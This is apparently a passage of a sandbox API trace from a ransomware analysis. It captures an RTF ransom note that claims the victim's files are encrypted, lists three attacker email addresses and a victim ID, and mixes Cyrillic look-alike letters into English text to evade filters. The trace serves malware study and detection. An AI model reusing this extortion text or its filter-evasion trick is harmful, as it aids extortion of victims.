t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 